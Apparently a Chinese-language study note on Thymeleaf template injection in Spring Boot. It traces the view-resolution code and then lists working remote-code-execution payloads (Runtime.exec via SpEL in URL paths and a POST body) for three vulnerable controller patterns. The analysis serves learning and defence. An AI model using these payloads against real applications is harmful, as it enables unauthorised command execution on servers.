Thymeleaf模板注入
实验环境参考:https://github.com/veracode-research/spring-view-manipulation
背景知识
片段表达式
片段表达式语法:
~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment。~{templatename},引用整个templatename模版文件作为fragment~{::selector}或~{this::selector},引用来自同一模版文件名为selector的fragmnt
其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
当~{}片段表达式中出现::,则::后需要有值,也就是selector。
预处理表达式
__${expression}__
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。
流程浅析
先简单看下渲染一个模板的流程。
对于下面的 controller(注意:在使用@Controller定义时,返回的index不会被当作字符串,而是会作为一个模板名称):
@GetMapping("/")
public String index(Model model) {
model.addAttribute("name", "World");
return "index";
}
首先是处理请求org.springframework.web.servlet.DispatcherServlet#doDispatch的逻辑

前两步是根据请求的URL、HTTP方法等信息查找相应的Handler和Handler Adapter,具体的处理逻辑也就是执行我们写的controller代码是在
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
这里返回的ModelAndView对象包含了模型数据和视图名称

processDispatchResult会根据ModelAndView对象处理视图渲染

render中DispatcherServlet会调用自己的resolveViewName方法根据视图名称和请求信息选出最适合的view对象,然后view对象调用它的render方法渲染模版处理请求。

DispatcherServlet#resolveViewName会从遍历viewResolvers中存储的ViewResolver对象,调用它们的resolveViewName方法来寻找。viewResolvers实在SpringBoot初始化的时候加载的

这里第一个调用的是ContentNegotiatingViewResolver,它不是直接解析视图名称,而是根据请求的内容类型或请求参数决定使用哪个其他视图解析器。

ContentNegotiatingViewResolver#resolveViewName选出View对象可以分为两步:
- 获取候选视图:
getCandidateViews(viewName, locale, requestedMediaTypes)方法会基于视图名称、地区设置和请求的媒体类型(Accept请求头)获取一系列候选视图。 - 选择最佳视图:
getBestView(candidateViews, requestedMediaTypes, attrs)方法从候选视图中选择最佳视图。这个选择是基于所请求的媒体类型,以及视图是否能够处理这些媒体类型。
在getCandidateViews方法中可以发现,它依然是遍历自己的viewResolvers中的ViewResolver对象,然后调用它们的resolveViewName方法

这里就可以看到ThymeleafViewResolver的resolveViewName方法被调用

跟进这个方法,最后我们可以看到View对象是通过ThymeleafViewResolver#loadView生成的,这里还没有涉及到模板文件的读取。

在由ContentNegotiatingViewResolver#getBestView选出最佳的View对象后,就会调用该对象的render方法。接着我们看下ThymeleafView#renderFragment,ThymeleafView#render的最终调用。
ThymeleafView#renderFragment的处理流程大致可以分为三步:
- 渲染Thymeleaf模板前的准备:这里主要是一些变量的检查和上下文的设置。

viewtemplateName的解析:漏洞的产生点,代码会根据viewtemplateName中是否含有::来决定是否要对其进行解析,最后解析出templateName变量。

- 渲染模版,处理响应:在做好响应的类型、字符编码等配置后,使用
viewTemplateEngine.process方法读取模板文件、解析模板内容、执行表达式、渲染结果等多个步骤。最后将内容返回给客户端

漏洞成因
漏洞的成因就在解析viewTemplateName的代码中,当viewTemplateName中含有::,会用"~{" + viewTemplateName + "}"包裹将其作为一个片段表达式,调用parser.parseExpression进行解析

跟进实现,StandardExpressionParser#parseExpression中有一步预处理的流程,根据名字可以猜到它处理的就是表达式中__${expression}__预处理表达式的部分

跟进StandardExpressionPreprocessor#preprocess,如果没有_直接返回

之后的解析流程会先用正则\_\_(.*?)\_\_匹配出预处理表达式之间的内容,再传给StandardExpressionParser.parseExpression进行解析(这是作为了一个变量表达式递归解析?),最后调用解析出来的IStandardExpression对象的execute方法

在expression.execute的最后会将预处理表达式之间的内容作为SpEL执行表达式(加入学习列表)解析,进而触发任意代码执行。

小结一下:
- 漏洞的成因是在ThymeleafView对象调用
render方法渲染模板的时候产生的,准确的说应该是在解析自己的templateName属性时产生的

- 当攻击者可以控制解析的
templateName即可产生漏洞,具体而言满足的条件有(来自turn1tup师傅的总结):- 用户传入的字符串拼接到了
Controller方法的返回值中且返回的视图非重定向(重定向优先级最高),或URI路径拼接了用户的输入且Controller方法参数中不带有ServletResponse类型的参数 - 视图引擎名称中需要包含
::字符串 - 被执行表达式字符串前后需要带有两个下划线,即
__${EL}__; - 如果POC在URI中,由于URI格式化的原因且我们的POC中带有
.符号,所以需要在URI末尾添加.
- 用户传入的字符串拼接到了
攻击方式
根据可控位置的不同,大致有三种利用场景
select
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "index :: " + section; // fragment is tainted
}
很简单易懂,payload
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
/path
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/index"; // template path is tainted
}
payload和上面一样,虽然第一感觉有点反直觉,但看到最后处理的viewTemplateName就懂了
user/__${new%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()}__::.x/index
URI PATH
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x
其他姿势
记下poc
# 构造回显,在最后加两个.
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..
# 最后只加个.也是可以的,不一定必须是.x
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.
# :: 位置不用固定
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
# POST方式
POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135
lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
# 省略__
# 情况如下
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}
GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090
参考
https://www.cnblogs.com/CoLo/p/15507738.html
https://xz.aliyun.com/t/9826
https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/
https://github.com/veracode-research/spring-view-manipulation